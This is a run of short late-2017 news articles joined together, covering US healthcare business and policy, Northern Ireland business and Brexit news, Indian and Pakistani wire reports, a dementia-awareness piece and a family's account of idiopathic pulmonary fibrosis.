The second executive order directs the state Department of Health and Human Services to limit Medicaid opioid prescriptions to five days for acute and post-operative pain. The state's health plan has also agreed to enact similar limitations. The restrictions do not apply to chronic pain patients.

South Carolina saw 616 opioid-related overdose deaths in 2016, double the number of deaths attributable to homicides or drunk driving, according to a report from The Post and Courier.

More articles on opioids:

Report: Purdue Pharma used 'Wizard of Oz' film to first market OxyContin to patients, physicians

Three physician perspectives on the opioid crisis

Former DEA officials speak out against resolution of 2014 McKesson opioid case: 5 things to know
The amount of time a new patient waits to be seen after requesting an appointment can vary significantly by medical specialty, with new patients averaging 2.7 weeks before being seen, according to athenahealth research.

Athenahealth researchers gathered data from 4.2 million first appointments scheduled in 2016 with 13,000 providers on the athenahealth network. New patients were classified as those who had not visited the practice in at least three years.

Here are five findings from the report.

1. Across providers, which included primary care physicians, orthopedists, pediatricians, cardiologists and OB-GYN physicians, only 10 percent of new patients were seen the same day. Sixty percent of new patients were scheduled within two weeks and 20 percent waited over four weeks for their first appointment.

2. In the group of providers listed above, orthopedic patients were seen the fastest, with an average time of 13 days before being seen.

3. The researchers found wait times for first appointments are likely to be longer for specialties that are in demand, which included otolaryngology, urology, nephrology, pulmonary, gastroenterology, neurology and rheumatology. These specialties recorded 626,000 appointments for new patients in 2016 across 1,044 providers on the athenahealth network.

4. Patients requesting an appointment with a rheumatologist had to wait the longest among the group of specialties listed in point No. 3, with an average of 44 days before their first appointment. Neurology patients waited 32 days and gastroenterology patients waited 26 days.

5. Patients who waited over a month for their first appointment were twice as likely to cancel and never reschedule (32 percent) as patients who were scheduled for an appointment within a week (15 percent).
Hartford, Conn.-based Aetna made headlines this year amid an antitrust lawsuit concerning its bid for Humana and a $51.4 million out-of-network billing case with a Texas hospital.

Here are five of the most-read stories about Aetna this past year, as reported by Becker's Hospital Review.

1. Texas hospital files for bankruptcy after $51.4M Aetna loss

Humble (Texas) Surgical Hospital filed for Chapter 11 bankruptcy Feb. 24, after a judge ordered the hospital to pay Aetna $51.4 million in an out-of-network billing case in December 2016.

2. Aetna CEO on healthcare sign-ups: 'I have someone else do it for me, because I can't take it'

During a keynote discussion at a Financial Executives International conference in New York City Nov. 13, Aetna CEO Mark Bertolini described healthcare as a "rat's maze."



3. CVS Health to acquire Aetna for $69B: 5 things to know

On Dec. 3, CVS Health inked a definitive merger agreement to acquire all outstanding shares of Aetna for roughly $69 billion in cash and stock.



4. Judge blocks $37B Aetna-Humana deal: 5 things to know

On Jan. 23, U.S. District Judge John Bates blocked Aetna's proposed $37 billion takeover of Humana.



5. Banner Health, Aetna name CEO of joint venture: 5 things to know

Phoenix-based Banner Health and Aetna selected Thomas Grote to helm a jointly-owned health plan the organizations unveiled in October 2016.
By PTI: United Nations, Dec 19 (PTI) UN Secretary General Antonio Guterres has strongly condemned the terrorist attack on a church during a mass in Pakistans restive southwestern city of Quetta which killed nine people and injured 44 others.

"The Secretary-General strongly condemns the attack on a Methodist church in Quetta, Pakistan," a UN statement attributable to his spokesperson said.

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Guterres extended his sincere condolences to the families of the victims and wishes speedy recovery to those injured.

"He calls for the perpetrators of the attack to be brought to justice," the statement said.

Two suicide bombers attacked a packed church on Sunday in Quetta, killing nine people and injuring 44 others in a targeted assault on the minority Christian community, which was claimed by the the Islamic State. PTI LKJ AJR

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Birmingham, Ala.-based Cahaba Government Benefit Administrators, a wholly-owned subsidiary of Blue Cross and Blue Shield of Alabama, will lay off 264 workers after losing a Medicare administrative contract, the Birmingham Business Journal reports.

On Sept. 7, CMS selected Columbia, S.C.-based Palmetto Government Benefit Administrators as the Medicare Part A and Part B administrative contractor for Alabama, Georgia and Tennessee. Palmetto will take over the work from Cahaba GBA by Feb. 25, which includes processing Medicare claims for hospitals and physicians across the three states.

"We are disappointed with CMS' decision," David Brown, president of Cahaba GBA, told Birmingham Business Journal. "We will continue to pursue future contract opportunities with CMS and remain committed to meeting the needs of CMS, healthcare providers and the Medicare beneficiaries."



More articles on payer issues:

Aetna's year in review: 5 biggest stories in 2017

Cigna CEO to chair US-Korea business council: 3 things to know

Centene subsidiary faces $500k fine after Washington commissioner bans, then allows sale of narrow network plans

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The Food and Drug Administration on Monday issued a draft proposal of a new, risk-based enforcement policy to strengthen regulations on homeopathic therapies deemed most likely to pose health threats to consumers.

Here are five things to know.

1. Under current law, homeopathic drug products must pass the same regulatory scrutiny as other drug products. However, a regulatory policy established 1988 has allowed homeopathic therapies to reach the market without FDA approval.

2. Under the newly proposed regulations, the FDA would be able to increase its regulatory authority over high-risk homeopathic products. Such products include those administered via injection, those intended for vulnerable populations like infants or the elderly, and those marketed for the treatment of serious illnesses like cancer.

3. Homeopathy is rooted in 18th century thought, which suggests substances that cause disease can also cure symptoms when administered in small doses. Modern medicine has debunked the core tenets of homeopathy, according to a report from The Washington Post.

4. The move from the FDA comes more than a year after homeopathic teething tablets containing belladonna were linked to 400 adverse events and 10 child deaths.

"In recent years, we've seen a large uptick in products labeled as homeopathic that are being marketed for a wide array of diseases and conditions, from the common cold to cancer," said Scott Gottlieb, MD, commissioner of the FDA. "In many cases, people may be placing their trust and money in therapies that may bring little to no benefit in combating serious ailments, or worse  that may cause significant and even irreparable harm because the products are poorly manufactured, or contain active ingredients that aren't adequately tested or disclosed to patients.  We respect that some individuals want to use alternative treatments, but the FDA has a responsibility to protect the public from products that may not deliver any benefit and have the potential to cause harm."

5. The FDA will be accepting public comments on the draft proposal for 90 days.
Globus Medical sued Stryker and a former engineer for allegedly stealing proprietary trade secrets when the engineer accepted a new job at Stryker, according to Mass Device.

Heres what you need to know.

1. The lawsuit alleges the former engineer broke her non-compete and non-disclosure contract with Globus Medical after she accepted a job at Stryker Nov. 1. While at Globus Medical, the engineer worked as an associate project engineer and project engineer, developing corticocancellous spacers for cervical fusion.

2. In a Nov. 14 statement, Stryker denied the allegations of the engineer was in violation of the previous agreement. Stryker argues the engineers responsibilities are not in a competitive capacity as an advanced operations project manager.

3. While the engineer oversees products Stryker has already developed, Globus Medical argued any product can undergo design changes throughout product development. At Stryker, the engineers role involves the manufacturing process for already metal products.

4. Stryker further argued the engineer spent her time working in the biologics sector of Globus Medical. Stryker also made claims about separating its project engineers between the research and development department and advanced operations department.

5. The engineer denies having knowledge or understanding of Globus Medicals sales, budget or forecast information.
The chief executive of parent company Liberty Global has revealed that the former UTV Ireland channel will be rebranded as Virgin.

Liberty, the parent of cable operator Virgin Media, snapped up UTV Ireland for 10m last year, with the channel since being rebranded as be3.

The Sunday Times reported that Mike Fries, chief executive of Liberty Global, told a media conference in New York that be3, TV3 and 3e will all be rebranded as Virgin, most likely next year.

Liberty bought TV3 and 3e for 80m in July 2015 from Doughty Hanson.

"We will rebrand those broadcast networks in Ireland as Virgin and we'll see how that works," Fries told the UBS Global Media and Communications conference in New York.

He added: "When you have a broadcast asset in a small market like that, you have a great reach, a great voice, and you're able to find opportunities to both acquire and develop content together, and promote the brand."

UTV Ireland was launched by then UTV Media executives in January 2015 - but disappointing audience figures led to it costing UTV Media 13m, four times the original estimate.

UTV Ireland was then part of a 100m deal by ITV to acquire the television assets of UTV Media plc in Belfast.

The channel was then sold for a second time to Liberty in July 2016.

The agreement with ITV saw Liberty take over a 10-year supply deal for ITV-produced programmes including soap operas Coronation Street and Emmerdale.

Meanwhile, UTV is due to move into waterside offices and studios at City Quays in February after more than 59 years at Havelock House.

UTV Media's former radio assets are now part of News Corp.
The Northern Ireland owner of consumer brands including soft drink Shloer and Sunny Jim firelighters has reported an increase of 23% in turnover to 467.7m during 2016.

SHS Group, based in Airport Road West in Belfast, also reported a 17% rise in pre-tax profits to 24.8m during the year.

And it said the year had brought bigger sales than ever of the fizzy fruit drink Shloer - particularly in the Northern Ireland market.

The product has close associations with Christmas for many Northern Ireland families as an alcohol-free alternative to wine.

But the firm, which also sells herbs and condiments, has said the tipple is an all-year round good seller.

Chief executive Elaine Birchall said: "Shloer continues to be a household favourite delivering consistent year on year volume growth across all regions, particularly Northern Ireland."

Publication of the company accounts for 2016 come after the firm bought a fire products company that will bring even more household names into its portfolio.

In July, the company paid an undisclosed sum for Standard Brands, which produces Sunny Jim firelighters and the Zip range of fire products.

And it can be revealed it has also snapped up no&more, a company selling flavoured spring water. It rebranded from Nuva in September this year and was founded by a former marketing director of Evian.

And it also owns Merrydown Cider and alcoholic drink WKD.

Elaine Birchall said: "Group trading performance has been above expectation for the year with profits further enhanced by prudent management of operating costs and foreign exchange exposure.

"All group trading divisions delivered excellent top line growth driven by innovation, new business and brand investment.

"Innovation has been a core feature of our activity.

"The WKD and Merrydown brands were relaunched and the soft drinks portfolio benefited from growth in core and international markets."

The firm also operates as agents for other brands, including Ryvita.

Ms Birchall said: "The sales and marketing divisions in Ireland and the UK increased revenues from new contracts while sustaining customer service in their core business, and the condiments and sauces division consolidated its position of market leader in private label herbs and spices through excellent innovation and new business contracts."

Ms Birchall added purchasing Standard Brands and no&more would be crucial to growth.

"The no&more acquisition will allow SHS Drinks to meet demand in the growing 'better for you' category, while Standard Brands, the world leader in ignition products, will strengthen our household offering consolidating our position in core markets and extending our footprint abroad," she said.

"These acquisitions align with our strategy which is centred on delivering long-term sustainable growth through a multi-channel approach exploring new markets.

"It is an important step in our overall business plan to identify brands that will aid our development plans for future growth in the British, Irish and international fast-moving consumer goods markets.

"Given prevailing economic and market conditions, the results for the period and the prospects for the future are satisfactory."

The company's workforce also increased during 2016 from 764 to 781, while its highest-paid director also received an improved package, with their pay including company pension contributions growing by 13% from 466,500 to 530,565.
A US tech firm is shutting its Belfast base with the loss of around 20 jobs due to "changing market conditions", it can be revealed.

MACOM Technology Solutions produces advanced semi-conductors used in mobile base stations.

A spokesman for the firm said: "MACOM, like many other companies, is continually evaluating its teams, offices and skill mix to align with the company's broader business requirements and market changes.

"Over the last 12 months there have been a number of changes in business conditions, which has unfortunately resulted in changes to the team in Belfast."

It's not clear whether Brexit played a part in the company's decision.

Last year, it announced a move to City Quays 1 at Belfast Harbour from its offices at Newforge Lane in the south of the city. At the time, it said it hoped to double its team of 22 staff.

But it's understood the company is moving out of its City Quays offices this month. MACOM did not respond when asked if the UK's exit from the EU was the reason for the decision.

In 2012, the company announced it was investing 2.5m in a major research and development project at its Belfast centre, and received backing of 700,000 from Invest NI.

A spokeswoman for the economic development agency said: "We understand the wider MACOM organisation is responding to changing business conditions.

"We continue to liaise with the company to leverage the best possible outcome for Northern Ireland, including minimising the impact on Belfast-based staff who may be affected by potential redundancies.

Speaking to the Belfast Telegraph last year, Dr Andrew Patterson, who headed up the business in Northern Ireland, said: "Our design business locally is working with gallium nitride on silicon - high power semi-conductors.

"This is a technology which the company has acquired and they are growing... it's potentially a very big market."

In 2012, he said the company's decision to invest in research and development demonstrated its loyalty to Northern Ireland.

"The Belfast centre has been a key research and development operation for the company, successfully developing a number of specialist components for the semiconductor market," he said.

MACOM employs around 1,000 people across the globe. It was previously known as M/A-COM Tech UK - which itself traded as Mimix Broadband before joining the M/A-COM Tech group in 2010.

In its results for the year ending September 29, 2017, the Massachusetts-based company reported an operating loss of $16.1m (12m), compared to operating income of $13.2m (10m) the year before.

However, revenues were $698.8m (521.7m), an increase of 28.4%, compared to $544.3m (406m) during the previous fiscal year.

President and chief executive John Croteau said that the last three months had been "very challenging".
Almost nine months have passed since the Prime Minister triggered Article 50 and, after a lengthy negotiation, sufficient progress has now been reached on the main separation issues relating to the UK's withdrawal from the EU.

At last week's European Council, the EU's political leaders accepted the European Commission's recommendation to conclude the first phase of the Brexit negotiations and move on to the next stage of the talks.

The joint report published by the UK and EU negotiators included an agreement for EU citizens in the UK (and UK citizens in the EU) to be granted a status maintaining many of their existing residency rights. This is a good outcome.

Individuals from other countries in the European Economic Area (EEA) make up around 7% of total UK employment. These people make a valuable contribution to the UK economy and to wider society and so it is only right that Brexit should not disrupt the lives they have built for themselves. It is also good news for the businesses who rely on these workers.

As part of the deal, the UK Government agreed to settle its financial accounts with the EU. We don't know how much the UK will pay in total, and it will likely be many years before we do, but most estimates would suggest it will be somewhere in the region of 40bn to 60bn.

As I argued in my last Economy Watch, it is important to consider this sum as part of the bigger picture, including the size of the UK economy and the amount of trade we currently do, and hope to do in future, with the EU.

The third major element of the agreement related to the border between Northern Ireland and the Republic of Ireland.

The joint report reaffirmed the desire of all parties to avoid a hard border and included a fall-back option to avoid such a hard border in the event of this not being achieved by other methods in the next phase of the talks.

The agreement implies that, if no other solution is found, the UK will maintain 'full alignment' with the regulations of the EU Single Market and Customs Union which support ties between Northern Ireland and the Republic.

Data published by Nisra shows that in 2016 local businesses sold 14bn worth of goods and services to Great Britain and made sales to the Republic valued at 3.4bn. This emphasises the importance of the commitment in the joint report to ensuring that businesses in Northern Ireland will maintain full access to the UK market.

It was encouraging to see some movement on the complex issue of the border, but there is a lot of work still to do before the challenge is resolved.

Regarding the aims of protecting north-south cooperation and avoiding a hard border, the joint report states that "the UK's intention is to achieve these objectives through the overall EU-UK relationship". This suggests the UK Government still believes that the border issue can be solved as part of a wider trade deal. The report says that if that does not occur, then the UK will put forward alternative arrangements to try to avoid a hard border. It is only if that fails that the fall-back discussed above would be relied upon.

The report also contains a commitment to have a "distinct strand" of talks related to issues pertaining to Northern Ireland and Ireland as part of the next stage of the negotiations. Despite sufficient progress now being reached, it seems there is still considerable uncertainty around future border arrangements and much work still needs to be done on this important issue.

So, as we prepare to head into 2018, what are the next big milestones to look out for in the Brexit process?

The first is when, or indeed if, an agreement is reached regarding a transition period that will begin once the UK leaves the EU at the end of March 2019. It is assumed that this period would see UK businesses maintaining their access to the EU Single Market and Customs Union for a limited period of time. For the transition to deliver the maximum benefit, it needs to be agreed within the first quarter of 2018. If this doesn't happen, some businesses, finding themselves only 12 months away from Brexit, may begin to implement their contingency plans.

The second key milestone will be the beginning of negotiations on the long-term trade relationship between the UK and the EU. This is not expected to begin until around March of next year. However, the task for the UK Government now is to decide what type of trade agreement it wants to strike.

Most of the public discussion has revolved around a Norway-style agreement that would maintain very close links to Europe, or a Canada-style agreement which is a much looser arrangement based mainly on facilitating goods trade. Reaching agreement on a desired Brexit end point will not be an easy task for the UK Government due to the conflicting views in the Cabinet.

But given we are now 18 months on from the referendum, it's time for the Government to clarify its position on this issue.

Last week's decision by the European Council to confirm that sufficient progress has been reached on the separation issues, and to move talks on to the next stage, is a significant and welcome step in the Brexit process.

However, trade deals are extremely complex and difficult to negotiate and there is a plethora of other economic and non-economic arrangements that exist between the UK and EU that will need to be replaced due to Brexit. Many decisions still need to be made and implemented. The easy part of the process is over. Now things are about to get really tough.
Ridley Scott has said he will not be recuperating costs from Kevin Spacey after last-minute re-shoots to scrub the disgraced actor from All The Money In The World cost millions.

The British director sacked Spacey less than two months before the thrillers release because the Oscar-winner became embroiled in the Hollywood sexual harassment scandal.

Christopher Plummer, 88, was recruited to replace him in the role of industrialist J Paul Getty in unprecedented re-shoots that cost around 10 million dollars (7.5 million).

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Despite the chaos, the film received its world premiere in Los Angeles on Monday and will be released as scheduled for Christmas in the US.

Asked whether action there will be efforts to get compensation, Scott told the Press Association: No, theres no way you can ensure that. The cost involved was relatively, comparatively not bad because we all did it for nothing.

Scott said he did not hesitate in sacking Spacey despite the move costing in the region of 10 million dollars according to one of the producers, Chris Clark.

It had to be done, it was instant. It took probably half an hour of discussion, the reality of having to do that, said Scott, 80.

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Otherwise the film will dissolve away because no-one will want to see it and therefore no-one will want to put money into it.

Clark also said there will be no action against Spacey, 58.

Thats not something were interested in doing at all. Lets move on, draw a line under it, weve made our point and we can release our film now, he said at the premiere in Beverly Hills Samuel Goldwyn Theatre.

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Plummer has been nominated for a Golden Globe for playing Getty, the billionaire who refused to pay the ransom demands for the release of his kidnapped 16-year-old grandson in 1973.

Scotland Yard is investigating former House Of Cards star Spacey over two allegations of sexual assault alleged to have taken place in Lambeth, south London, in 2005 and 2008.

A review by Londons Old Vic theatre, where Spacey was artistic director between 2004 and 2015, found 20 people claimed they had been subjected to inappropriate behaviour from the actor.

:: All The Money In The World is due out in UK cinemas on January 5.
Christmas is a time when we get to take a rare break from work and spend some much-needed quality time with our families, squabbling over board games and pigging out on festive foods.

But with many people getting together for the first time in months, it can also be a common time for noticing stark changes in a loved one.

According to Dementia UK, there's a notable increase in people getting in touch for information on the disease over the Christmas period as relatives spend more time in each other's company.

While memory loss is one of the most widely recognised symptoms of dementia, the condition can actually cause a range of symptoms in the early stages, with various types of dementia affecting people differently.

Initially, the signs are more subtle and harder to spot, but it's a good idea to know some of the early indicators to look out for, particularly at this time of year. Although these things don't automatically mean somebody has dementia, it's a good idea to seek advice and speak with your GP sooner rather than later if you're at all concerned.

Here, John Ramsay, CEO of Shift 8 (the company bringing Tovertafel - a cutting-edge dementia care product - to the UK), outlines six common signs of dementia to keep in mind this festive season...

1. Memory loss

We've all had those days where we've forgotten our keys or left the lights on by mistake at home, but how do you know when forgetfulness has become something more serious? "This is one of the hardest symptoms to define, as people's ability to remember events and conversations naturally vary," explains John.

"However, while anyone can be forgetful, it can become apparent when the loss of memory starts suddenly, or perhaps has grown worse over a year or so. While memory loss affects people differently, you may notice that your relative can recall a surprising range of facts or experiences from their earlier years, but will be forgetful about recent events."

2. Abnormal movements or restlessness

John, whose own father suffered from dementia, says having restless legs is a symptom that is often overlooked.

"My dad had always enjoyed walking, but he started consistently walking with purpose up and down our local street all day long, from a very early stage," he recalls. "It can often be an exhausting task to try and keep a loved one with these symptoms safe."

3. Hoarding

Usually, Christmas is a time for over-buying food, drink and gifts to make sure you don't get caught short when you have guests over, but hoarding can be a big indicator that something isn't quite right.

"Often, a person displaying symptoms of dementia will forget they have already bought something, so they will go out and get the exact same thing," says John. "My dad was constantly making copies of the house keys and buying exactly the same items from the shops more than three times a day."

4. Mood swings

One of the most challenging symptoms to come to terms with is the mood swings that can develop with early-onset dementia. "Understandably, frustrations can come from feeling an emotion, but being unsure from where it originated," explains John.

"As hard as it might be, it is important to try and avoid arguing and remind yourself that their anger stems from a frustration they cannot control."

5. Having difficulty with new environments

Routine is key for people living with dementia and any sudden changes in routine can leave them feeling agitated and uncomfortable.

"Christmas can be a challenging time of year for those living with dementia, as they are often in an unfamiliar home, surrounded by people who aren't part of their daily routine," says John. "This can be overwhelming."

6. Loss of subtleties of language

Another early sign of dementia is a change in the way the person communicates. "Linked to a change in memory, those who have dementia can have issues with talking, often getting lost in conversations or struggling to recall the right words when discussing an idea."

For anyone who is unsure about dementia symptoms, or simply needs support during this Christmas season, you can call the Admiral Nurse Dementia Helpline on 0800 888 6678 which is operated by specialist dementia nurses. For more information, visit dementiauk.org
Coming to terms: Alex McGreevy and his sister Maria Elena McGreevy, whose mother Anne died of Idiopathic Pulmonary Fibrosis

One year ago today Belfast grandmother Anne McGreevy lost her battle with the same devastating lung disease which claimed the life of TV presenter Keith Chegwin last week.

Anne was an active 74-year-old who never smoked or drank and her death from Idiopathic Pulmonary Fibrosis (IPF) has left her devastated family seeking answers.

Today the youngest of her eight children, Maria Elena will mark the first anniversary of her mums death by announcing plans to set up a support group for people living with IPF in Northern Ireland.

Maria Elena (34) also recently launched an awareness campaign on Facebook and has also just set up a Go Fund Me page.

The mum-of-one, who works as an assertive outreach worker for a charity, has set herself the challenge of taking part in ten 10k races this year to raise funds towards a new support group.

IPF made headlines last week with the tragic news that Keith Chegwin had died from it, aged just 60.

Also last week, Katie Price had to be helped out of the Loose Women studio when she got upset talking about her mother Amys battle with the terminal disease.

Annes family was struck by the lack of awareness of the condition which made dealing with their mums diagnosis even more difficult.

It is why Maria Elena, who was her mums main carer in her final months, is now determined to create awareness and help make it easier on others.

She says: For us, it was just confusion after mums diagnosis. We had no answers and people had never heard of IPF so even mums friends didnt understand how ill she was.

There was also a real lack of knowledge within the medical world here, although that has improved since.

We just want to try and provide others with the support and information which we didnt have and which made things all that more difficult.

IPF scars the lungs and makes breathing difficult. It is a progressive condition and in some people the symptoms gradually get worse over several years while for others, it can develop more quickly.

Around 6,000 people are diagnosed with IPF every year in the UK and, while it can affect people of all ages, 85% of diagnoses are made in people over 70.

There is no cure although treatments to slow down the progression of the disease have been developed.

Anne was diagnosed in 2013. A retired medical secretary, she had a cough which her daughter says she blamed on the air-conditioning in her work.

In what was a devastating double blow for their eight children and seven grandchildren, Annes husband had died of lung cancer just a year before Annes death.

Having lost her dad Pat to lung cancer in December 2015, aged 68, Maria Elena and her two sisters and five brothers were struck by just how little was known about her mums condition.

She explains: For a number of reasons mums diagnosis would have been so much easier had it been a cancer diagnosis.

Medical professionals know more about cancer, and people generally understand it; there are more treatment options and the outcomes can be more positive.

We didnt understand IPF and people hadnt heard of it so no-one knew what it was when mum was talking about it.

There was a lack of knowledge even among the medical profession and as a family we had to turn to Dr Google.

All we knew was that she had a lung condition and there was no cure for it and her life expectancy was three to five years.

At that time there was a new medication which had just been approved but we were told it was very expensive and she would not qualify for it until her condition was bad enough. She did get it in the end and I believe there are now two medications approved to try and slow down the progression of the disease, but they are so new that the people who are taking them are guinea pigs.

Also there was no specialist consultant in Northern Ireland then, although there is one now at Belfast City Hospital.

My passion in raising awareness is to highlight that more research needs to be done. We need a better understanding in the medical world here, and just generally, of what IPF is.

Anne had retired in January 2013 and was a very active, outdoorsy type.

She was a member of a walking group and her family says she was constantly studying and learning, taking up a course at Queens University, Belfast, on Greek and Roman civilisation and ancient history after her terminal diagnosis.

The impact of the disease left her breathless, dependent on oxygen and unable even to climb the stairs in her home.

She also was prone to infections, lost her appetite and suffered from extreme fatigue.

IPF also leads to a heightened sensitivity to the sun which, as someone who loved to be outdoors, hit her particularly hard.

Her son Alex (46), who works as a public relations officer for the Northern Ireland Hospice, says: Mum was the most generous, kind lady you would ever hope to meet.

She was so energetic, which made the symptoms of this illness even more devastating for her.

Exercise is vital for maintaining stability of the condition and to slow progression, but that is a catch-22 because the more an individual would try to exercise the more they might feel the impact of the illness due to extreme exhaustion and breathlessness.

As well as being breathless, mum lost her appetite and she suffered severe fatigue. Just getting up during the night to go to the toilet would trigger her cough and that could leave her fatigued.

The disease made her sensitive to the sun and she had to cover herself in a factor 50-plus sun protection cream every day and couldnt sit out in the sun, which was hard for her.

As Annes condition deteriorated late last year she became more susceptible to infection. In the end she took an infection which went into her bloodstream.

It was only after she lost her mum that Maria Elena discovered, through a UK support group, that emergency medical packs are available to patients in England.

These packs contain antibiotics, steroids, painkillers and inhalers.

She says: The consultants mummy had were lovely and they did the best they could.

The British Lung Foundation has told us there are more cases of IPF in Northern Ireland than anywhere else in the UK.

I had been asking for mum to be given an antibiotic since October and I was told she didnt need one. I was with her all the time and I knew that she did.

It was only after mum passed away that I read about the emergency packs.

It really frustrates me that we werent offered that and I only found out about it after mum passed away. That really stuck with me. I believe we should have the same standard of care that there is across the water in the rest of the UK.

Maria Elena and her brothers and sisters are determined that people here will be better informed in the future.

They hope that a new support group will give patients and their families somewhere to go for answers. They also hope that by creating awareness others will be more understanding of people diagnosed with the condition.

She says: It was difficult that people didnt understand. There was also no group for mum to go to for support and no one for her to talk to.

We just took it one day at a time. It has been hard on all of us losing both parents within a year. They had both just retired and were looking forward to their retirement.

It has left a big hole in all of our lives.

Ive set myself the target of running ten 10k races this year to raise funds towards a support group.

I want to do them between mums first anniversary and before her next one.

The Facebook page IPF Northern Ireland has just launched as well and I hope to use it to reach out to patients and their carers and share information so that people can be better informed.

You can support the family in their bid to set up a support group by visiting gofundme.com/IPFNorthernIreland

A chronic and painful affliction

What is IPF?

Idiopathic pulmonary fibrosis (IPF) scars your lungs and so reduces the efficiency of your breathing.

The build-up of scar tissue is called fibrosis. Fibrosis causes the lungs to become stiffer and lose their elasticity so theyre less able to inflate and take oxygen from the air you breathe.

IPF is a progressive condition and usually gets worse over time. In some people the symptoms gradually get worse over several years. For others, the symptoms get worse more quickly.

Its difficult to predict how IPF will progress. Sometimes when the condition has been stable, people can get sudden flare-ups of symptoms, called acute exacerbations. Everyone is different  talk to your specialist doctor about your individual situation.

How does IPF affect breathing?

Each time you breathe in, you draw air in, down through your throat and into your windpipe. Your windpipe splits into two smaller tubes, called bronchi, which go to your lungs. The air passes down the bronchi, which divide into thousands of smaller airways called bronchioles.

The bronchioles have many small air sacs. Inside the air sacs, oxygen moves across paper-thin walls to tiny blood vessels and into your blood. The air sacs also pick up the waste gas, carbon dioxide, from your blood ready for you to breathe it out.

If you have IPF, scarring affects the air sacs, limiting the amount of oxygen that gets into the blood. With less oxygen in the blood, you can get breathlessness from everyday activities like walking.

Whos at risk?

The latest research suggests about 6,000 people are diagnosed with idiopathic pulmonary fibrosis (IPF) every year in the UK.

Men are more likely to have IPF. IPF can affect people of all ages, but around 85% of diagnoses are made in people over 70.

Visit blf.org.uk for more details
By PTI: Lucknow, Dec 19 (PTI) Taking note of the RSS-affiliate Hindu Jagran Manchs threat to all Aligarh schools against celebrating Christmas, the Uttar Pradesh Police today directed all district police chiefs to take strict action against those indulging in intimidation of any sort.

"The Aligarh SSP and all district police chiefs have been directed to take strict legal action against those indulging in intimidation of any sort," Additional Director General (ADG), Law and Order, Anand Kumar said.

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The ADG also directed all district police chiefs of the state to ensure the freedom of practicing religion is protected.

The Manch issued a circular warning the managements of all Aligarh schools against celebrating Christmas and threatened, if they did so, it would be "at their own risk".

The warning set alarm bells ringing in all educational institutions in the Aligarh city, especially Christian schools.

"The circular would be reaching all schools very shortly and we will decide a course of action on receiving their response," Sonu Savita, city president of the Hindu Jagran Manch, told reporters in Aligarh on December 17.

Expressing concern, Praveen Agarwal, president of the Public School Development Society, Aligarh, said, "Each year we celebrate festivals belonging to all communities and this experience helps our children to play a responsible role as citizens of this country."

Similar sentiments were echoed by Anurag Gupta, convener of the Parents Association, Aligarh, who said, "Our schools have been playing an important role in helping students acquire knowledge of different religions and this helps them when they move out to different countries all over the globe."

Senior superintendent of police, Aligarh, Rajesh Pandey, however, made it clear that the district authorities would not allow anyone to force any school not to observe or celebrate Christmas.

All school managements have been assured that full security would be provided to them on Christmas and no one would be allowed to take law into their hands, a police official said.

The Manch was in the news last month when it announced its decision to launch a "reverse Love Jihad" by setting a target of 2,100 Muslim brides for Hindu boys in the next six months. PTI ABN SMI ADS

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An urgent cash injection of 300,000 is needed to stop a major arts venue in Belfast from closing.

The Metropolitan Arts Centre (MAC) received 40,000 in emergency funds from Belfast City Council in October, after an initial 75,000 was handed over.

But it needs another 300,000 from the public purse to remain open until March next year with an additional 270,000 to operate in 2018-19.

Core funding is provided by the Arts Council of Northern Ireland (ACNI), part of the Department for Communities (DfC), which awarded the MAC 950,000 in 2016-17 and 922,500 in 2017-18.

The MAC is seeking an extra 25,000 from the council before the end of the 2017-18 financial year and 275,000 from DfC and ACNI.

In an independent report presented to the City Council, the MAC was described as a "high-performing organisation" which exceeded targets.

The report said the MAC had made cost reductions of 90,000 in 2017-18 and would save 55,000 in 2018-19 by cutting staff and programmes.

MAC spokesperson Claire Murray said that despite a "pressured environment" the venue had been recognised internationally for its projects.

She said: "Since opening in 2012, the MAC has significantly exceeded the target level of visitor numbers set by our funders prior to opening and we have welcomed thousands of visitors from both within and outside Northern Ireland.

"As a result, the MAC has grown its self-generated income year-on-year, generating an economic impact on the local economy of 9.7m per annum.

"However, like many arts organisations we operate in a pressured funding environment.

"We currently face a short-term funding gap and are working closely with our stakeholders to address this issue."

A spokesperson for DfC said: "It remains the position that decisions to announce new policies or programmes or commit to new patterns of expenditure that would take us outside our known budget provision, will be for incoming ministers to consider.

"In the meantime, the department will continue to work within existing policies and funding mechanisms to maintain existing services with the limits of the finance available to us."
Thousands of Belfast jobs hang in the balance if a proposed 300% duty on exports to the US is imposed on Bombardier's C-Series jet

Bombardier has expressed its hope for overturning a possible 300% tariff on the sale of its C-Series jets in America.

Rival Boeing has petitioned the US Department of Commerce to sanction the firm. It claims the Canadian firm has benefited from "unfair" government subsidies allowing it to sell the C-Series jet at lower than cost price.

At a hearing on Monday of the US International Trade Commission, Boeing chief executive Kevin McAllister claimed Bombardier was able to sell the 125-seater new for a used price.

"Subsidised competitors dont face the same market realities we do. Our fortunes rise or fall based on the business decisions we make. Theres no one there to bail us out if we misstep," he said.

Bombardier, however, has consistently rejected the claims.

Wings for its C-Series planes are made in Belfast and Bombardier has said the future of the plant is reliant on it sales. In October the manufacturer announced a link-up with Airbus allowing it to produce the planes in American in a bid to get around any tariff.

Following Monday's hearing, Mike Nadolski of Bombardier said: "We are very pleased with the evidence presented today by Bombardier, Delta, and others demonstrating that Boeings petition is an unfounded assault on airlines, the flying public, and the US aerospace industry. That has been true since the start of the investigation, and recent developments make it even clearer.

"Most significantly, the Bombardier and Airbus C Series partnership will include the construction of a new US manufacturing facility in Alabama. This facility will provide US airlines with a US-built plane thereby eliminating any possibility of Boeing being harmed by imports."

Bombardier estimates that the new Alabama assembly line will add 400 to 500 direct jobs in the United States, along with thousands more indirect and induced US jobs. It will also bring approximately $300 million in new foreign direct investment to the United States and add to the 22,700 jobs already supported by Bombardiers C Series through its US supply base.

The Boeing dispute came to a head after a deal between Bombardier and Delta airlines for 75 jets.

Mr Nadolski added: "The Commission also heard clear evidence today that the C Series simply does not threaten Boeing. Boeing did not compete in the Delta campaign. It has not made a plane sized to Deltas needs for many years, since it stopped producing the 717 and 737-600. Moreover, Boeing has acknowledged that it has oversold its 737 production capabilities and has a backlog of more than 4,300 aircraft orders."

In its statement after the hearing, Boeing said: "Boeing brought this case seeking enforcement of US trade law, which mirrors the widely-accepted rules of international trade adopted by most WTO member nations, including Canada.

"The resulting Department of Commerce and ITC investigations are part of a longstanding, transparent, and rigorous fact-based process for resolving precisely these sorts of commercial trade disputes. Todays hearing was simply the next step in that process, as the ITC considered extensive evidence that underscored the harm Bombardiers unlawful actions have caused U.S. industry.

These investigations have already established beyond question that Bombardier has taken billions of dollars in illegal government subsidies to prop up its C Series program. The C Series would not even exist at this point but for those subsidies.

